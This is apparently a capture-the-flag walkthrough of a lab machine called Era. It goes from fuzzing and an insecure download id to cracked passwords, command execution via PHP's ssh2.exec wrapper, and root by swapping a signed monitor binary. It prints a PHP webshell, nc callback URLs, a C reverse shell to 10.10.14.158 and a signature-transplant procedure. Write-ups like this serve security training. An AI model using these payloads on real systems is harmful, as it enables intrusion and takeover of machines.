by 0xW1LD
![]()
As usual we start off with an nmap scan.
1
2
3
4
5
6
7
8
9
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.5
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Era Designs
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0309B7B14DF62A797B431119ADB37B14
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Interestingly we have only two ports, not one of which is ssh which means we’ll have to work with whatever shell we can get.
21 - vftpd80 - nginx
Taking a look at the website running on http port 80 we arrive at an Era Designs Website

Looking around this seems to just be a static site with nothing we can use to interact with the backend directly.
Let’s start fuzzing, I usually fuzz subdomains first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ffuf -u http://era.htb -H "Host: FUZZ.era.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/ ___\ / ___\ / ___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
forum [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 305ms]
pop3 [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 305ms]
smtp [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 304ms]
vpn [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 306ms]
www [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 304ms]
Looks like we get redirected back to the main site if the subdomain vhost doesn’t exist.
1
2
3
4
5
6
7
8
curl http://era.htb -H "Host: forum.era.htb" -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Jul 2025 03:38:48 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://era.htb/
Let’s filter out this status code and try again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -u http://era.htb -H "Host: FUZZ.era.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302
/ ___\ / ___\ / ___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://era.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.era.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 302
________________________________________________
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 302ms]
Let’s add this subdomain to our hosts file and take a look.

Looks like we’ve discovered a custom file upload platform. If we try anything we are redirected to a login page.

However, there’s no direct way to register an account, let’s start directory fuzzing.
I’ve done a few runs to find out which filters work best, I decided to filter codes
404and a size of6765which would just be the size of the home page in case a page didn’t exist. :{:.info}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ffuf -u http://file.era.htb/FUZZ -e .php -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -mc all -fc 404 -fs 6765
/ ___\ / ___\ / ___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 404
:: Filter : Response size: 6765
________________________________________________
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 305ms]
login.php [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 304ms]
register.php [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 305ms]
logout.php [Status: 200, Size: 70, Words: 6, Lines: 1, Duration: 305ms]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 301ms]
files [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 300ms]
assets [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 305ms]
upload.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 303ms]
manage.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 296ms]
layout.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 299ms]
LICENSE [Status: 200, Size: 34524, Words: 5707, Lines: 663, Duration: 299ms]
reset.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 297ms]
Visiting register we’re able to access a User Registration page, let’s Register a user.

Logging in after registering we’re able to enter a File Management Dashboard.

Clicking on Upload Files redirects us to the Upload page.

Let’s write a simple php webshell and test whether we can upload and execute it.
1
<?php system($_GET["c"])?>
After uploading we can see that we’re given a download link with an id rather than a link to the file itself.

Visiting the download link we’re given we’re told that our download is ready.

We can click on the icon and it directs us to the same page with the parameter dl=true which then allows us to download the file. Let’s start a fuzz for the id parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -H "Cookie: PHPSESSID=1edeuoel589erdsddiliji3rb0" -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -fs 7686
/ ___\ / ___\ / ___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://file.era.htb/download.php?id=FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
:: Header : Cookie: PHPSESSID=1edeuoel589erdsddiliji3rb0
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7686
________________________________________________
0054 [Status: 200, Size: 6380, Words: 2552, Lines: 222, Duration: 313ms]
0150 [Status: 200, Size: 6367, Words: 2552, Lines: 222, Duration: 1107ms]
We’ve got 2 hits: 0054 and 0150.
0054 looks like a Site Backup

0150 looks like a signing key.

Taking a look at the files we’ve just downloaded we find the following in signing
1
2
3
4
5
6
ls -la
total 16
drwxrwxr-x 2 kali kali 4096 Jul 27 00:12 .
drwxrwxr-x 5 kali kali 4096 Jul 27 00:12 ..
-rw------- 1 kali kali 2949 Jan 25 21:09 key.pem
-rw-rw-r-- 1 kali kali 355 Jan 25 21:09 x509.genkey
The key.pem file looks like a key + cert file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----
x509.genkey has more useful information, specifically, an email address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
We have the following files in site-backup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
total 836
drwxrwxr-x 6 kali kali 4096 Jul 27 00:17 .
drwxrwxr-x 5 kali kali 4096 Jul 27 00:12 ..
-rw-r--r-- 1 kali kali 23359 Jun 29 12:29 bg.jpg
drwxr-xr-x 3 kali kali 4096 Jun 29 12:23 css
-rw-r--r-- 1 kali kali 2540 Jun 29 12:29 download.php
-rw-r--r-- 1 kali kali 20480 Jun 29 12:20 filedb.sqlite
drwxr-xr-x 2 kali kali 4096 Dec 15 2024 files
-rw-r--r-- 1 kali kali 2221 Jun 29 12:29 functions.global.php
-rw-r--r-- 1 kali kali 1570 Jun 29 12:29 index.php
-rw-r--r-- 1 kali kali 7293 Jun 29 12:29 initial_layout.php
-rw-r--r-- 1 kali kali 7222 Jun 29 12:29 layout_login.php
-rw-r--r-- 1 kali kali 7959 Jun 29 12:29 layout.php
-rw-r--r-- 1 kali kali 34524 Jun 29 12:29 LICENSE
-rw-r--r-- 1 kali kali 5729 Jun 29 12:29 login.php
-rw-r--r-- 1 kali kali 248 Jun 29 12:29 logout.php
-rw-r--r-- 1 kali kali 113289 Jun 29 12:29 main.png
-rw-r--r-- 1 kali kali 11937 Jun 29 12:29 manage.php
-rw-r--r-- 1 kali kali 5149 Jun 29 12:29 register.php
-rw-r--r-- 1 kali kali 4916 Jun 29 12:29 reset.php
drwxr-xr-x 6 kali kali 4096 Jun 29 12:23 sass
-rw-r--r-- 1 kali kali 92890 Jun 29 12:29 screen-download.png
-rw-r--r-- 1 kali kali 97427 Jun 29 12:29 screen-login.png
-rw-r--r-- 1 kali kali 85428 Jun 29 12:29 screen-main.png
-rw-r--r-- 1 kali kali 170600 Jun 29 12:29 screen-manage.png
-rw-r--r-- 1 kali kali 87742 Jun 29 12:29 screen-upload.png
-rw-r--r-- 1 kali kali 7580 Jun 29 12:29 security_login.php
-rw-r--r-- 1 kali kali 6943 Jun 29 12:29 upload.php
drwxr-xr-x 2 kali kali 4096 Jun 29 12:23 webfonts
Given the most interesting thing here is the filedb.sqlite database. Let’s take a look.
1
2
3
4
5
6
7
8
9
10
11
12
sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
We can see a list of users and hashed passwords. Checking hashid I find I can use mode 3200 to attempt to crack them.
1
2
3
4
5
hashid '$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC' -m
Analyzing '$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x
[+] bcrypt [Hashcat Mode: 3200]
Let’s try to crack them with hashcat.
1
2
3
4
hashcat -m 3200 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt
<SNIP>
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
Success! We find two sets of credentials.
eric:americayuri:mustangTaking a look at the Download functionality we can find some interesting parameters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');
Some interesting parameters we can find include:
dl - booleanshow - boolean Limited to Adminformat - php wrapper Limited to Admin
Attempting to connect to ftp using yuri's credentials proved successful.
1
2
3
4
5
6
7
8
9
ftp yuri@$TARGET
Connected to 10.129.137.43.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
We can find apache2_conf and php8.1_conf directories.
1
2
3
4
5
ftp> ls
229 Entering Extended Passive Mode (|||22439|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
We can find the following files in the apache2_conf folder
1
2
3
4
5
6
7
total 28
drwxrwxr-x 2 kali kali 4096 Jul 27 00:37 .
drwxrwxr-x 7 kali kali 4096 Jul 27 00:37 ..
-rw-rw-r-- 1 kali kali 1332 Dec 7 2024 000-default.conf
-rw-rw-r-- 1 kali kali 7224 Dec 7 2024 apache2.conf
-rw-rw-r-- 1 kali kali 222 Dec 12 2024 file.conf
-rw-rw-r-- 1 kali kali 320 Dec 7 2024 ports.conf
Looking around we can find the following information:
WebRoot
era.htb - /var/www/htmlfile.era.htb - /var/www/file
Looking around at the so files we can determine what wrappers we can use.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-rw-rw-r-- 1 kali kali 35080 Dec 7 2024 calendar.so
-rw-rw-r-- 1 kali kali 14600 Dec 7 2024 ctype.so
-rw-rw-r-- 1 kali kali 190728 Dec 7 2024 dom.so
-rw-rw-r-- 1 kali kali 96520 Dec 7 2024 exif.so
-rw-rw-r-- 1 kali kali 174344 Dec 7 2024 ffi.so
-rw-rw-r-- 1 kali kali 7153984 Dec 7 2024 fileinfo.so
-rw-rw-r-- 1 kali kali 67848 Dec 7 2024 ftp.so
-rw-rw-r-- 1 kali kali 18696 Dec 7 2024 gettext.so
-rw-rw-r-- 1 kali kali 51464 Dec 7 2024 iconv.so
-rw-rw-r-- 1 kali kali 1006632 Dec 7 2024 opcache.so
-rw-rw-r-- 1 kali kali 121096 Dec 7 2024 pdo.so
-rw-rw-r-- 1 kali kali 39176 Dec 7 2024 pdo_sqlite.so
-rw-rw-r-- 1 kali kali 284936 Dec 7 2024 phar.so
-rw-rw-r-- 1 kali kali 43272 Dec 7 2024 posix.so
-rw-rw-r-- 1 kali kali 39176 Dec 7 2024 readline.so
-rw-rw-r-- 1 kali kali 18696 Dec 7 2024 shmop.so
-rw-rw-r-- 1 kali kali 59656 Dec 7 2024 simplexml.so
-rw-rw-r-- 1 kali kali 104712 Dec 7 2024 sockets.so
-rw-rw-r-- 1 kali kali 67848 Dec 7 2024 sqlite3.so
-rw-rw-r-- 1 kali kali 313912 Dec 7 2024 ssh2.so
-rw-rw-r-- 1 kali kali 22792 Dec 7 2024 sysvmsg.so
-rw-rw-r-- 1 kali kali 14600 Dec 7 2024 sysvsem.so
-rw-rw-r-- 1 kali kali 22792 Dec 7 2024 sysvshm.so
-rw-rw-r-- 1 kali kali 35080 Dec 7 2024 tokenizer.so
-rw-rw-r-- 1 kali kali 43272 Dec 7 2024 xmlreader.so
-rw-rw-r-- 1 kali kali 59656 Dec 7 2024 xml.so
-rw-rw-r-- 1 kali kali 51464 Dec 7 2024 xmlwriter.so
-rw-rw-r-- 1 kali kali 39176 Dec 7 2024 xsl.so
-rw-rw-r-- 1 kali kali 84232 Dec 7 2024 zip.so
Most interestingly we see ssh2 wrapper which if we take a look around we can find has an exec channel. PHP SSH2 WRAPPER
Let’s login to Era Storage as eric using his credentials and let’s try to Update Security Questions for admin_ef01cab31aa.

Now let’s head over to Security Login and attempt to login with the updated security questions.

Success! We get access as admin

Let’s attempt to use the ssh2 wrapper which we have identified earlier. First, let’s setup a listener.
1
nc -lvnp 9001
Next up, let’s create a url using the format parameter and ensuring the show parameter is set to true.
1
http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@localhost:22/whoami%20|%20nc%2010.10.14.158%209001;
Taking a look back at our listener it looks like we have a call back!
1
2
connect to [10.10.14.158] from (UNKNOWN) [10.129.137.43] 46844
yuri
Let’s now use the RCE method of our choice and put it in a sh file and upload that file.

Next let’s now run the file through the ssh2.exec wrapper.
1
http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@localhost:22/bash /var/www/file/files/lin.sh;
And if we now take a look at our listener.
1
2
3
4
connect to [10.10.14.158] from (UNKNOWN) [10.129.137.43] 53698
bash: cannot set terminal process group (7711): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$
Looking around we can find eric as a user, let’s swap to him
1
2
3
4
5
6
7
8
9
10
11
12
13
yuri@era:~$ su eric
Password:
eric@era:/home/yuri$ cd ~
eric@era:~$ ls -la
total 28
drwxr-x--- 5 eric eric 4096 Jul 22 08:42 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root 9 Jul 2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 eric eric 3771 Jan 6 2022 .bashrc
drwx------ 2 eric eric 4096 Sep 17 2024 .cache
drwxrwxr-x 3 eric eric 4096 Jul 22 08:42 .local
drwx------ 2 eric eric 4096 Sep 17 2024 .ssh
-rw-r----- 1 root eric 33 Jul 27 03:29 user.txt
Just like that, we have User!
Looking around as eric we can find that we’re in the devs group.
1
2
eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
Looking for files we can find the directory /opt/AV
1
2
3
4
5
6
7
8
9
10
eric@era:~$ find / -group devs 2>/dev/null
/opt/AV
/opt/AV/periodic-checks
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
eric@era:~$ ls -lash /opt/AV
total 12K
4.0K drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 .
4.0K drwxrwxr-x 3 root root 4.0K Jul 22 08:42 ..
4.0K drwxrwxr-- 2 root devs 4.0K Jul 27 05:40 periodic-checks
Looking inside we can find a monitor binary and a log file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs 4096 Jul 27 05:40 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 27 05:40 monitor
-rw-rw---- 1 root devs 205 Jul 27 05:40 status.log
eric@era:/opt/AV/periodic-checks$ file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
eric@era:/opt/AV/periodic-checks$ cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
Transferring over and running pspy we can find some interesting processes being run.
1
2
3
4
2025/07/27 05:50:01 CMD: UID=0 PID=8149 | chmod u+x /opt/AV/periodic-checks/monitor
2025/07/27 05:50:01 CMD: UID=0 PID=8150 | /bin/bash /root/initiate_monitoring.sh
2025/07/27 05:50:01 CMD: UID=0 PID=8151 | /bin/bash /root/clean_monitor.sh
2025/07/27 05:50:01 CMD: UID=0 PID=8152 | /bin/bash /root/initiate_monitoring.sh
Looks like the system is constantly running the binary, but we can’t easily replace it since it’s signed.
Let’s create a malicious executable file using the following c code.
1
2
3
4
5
6
#include <stdlib.h>
int main() {
system("bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001' 0>&1"); //Executes a reverse shell
return 0;
}
Now let’s compile this file.
1
gcc w1ld.c -static -o w1ld
Next let’s use objcopy to dump monitor’s signature into a file of our choice.
1
objcopy --dump-section .text_sig=w1ld_sig.bin /opt/AV/periodic-checks/monitor
Next let’s use objcopy to add a section to our binary containing the signature data.
1
objcopy --add-section .text_sig=w1ld_sig.bin /opt/AV/periodic-checks/w1ld
Lastly let’s move the binary to replace the monitor binary.
1
mv monitor monitor.bak && mv w1ld monitor
Now if we wait for a while we get a call back on our listener!
1
root@era:~#
Just like that, we have Root!
tags: os/linux - diff/medium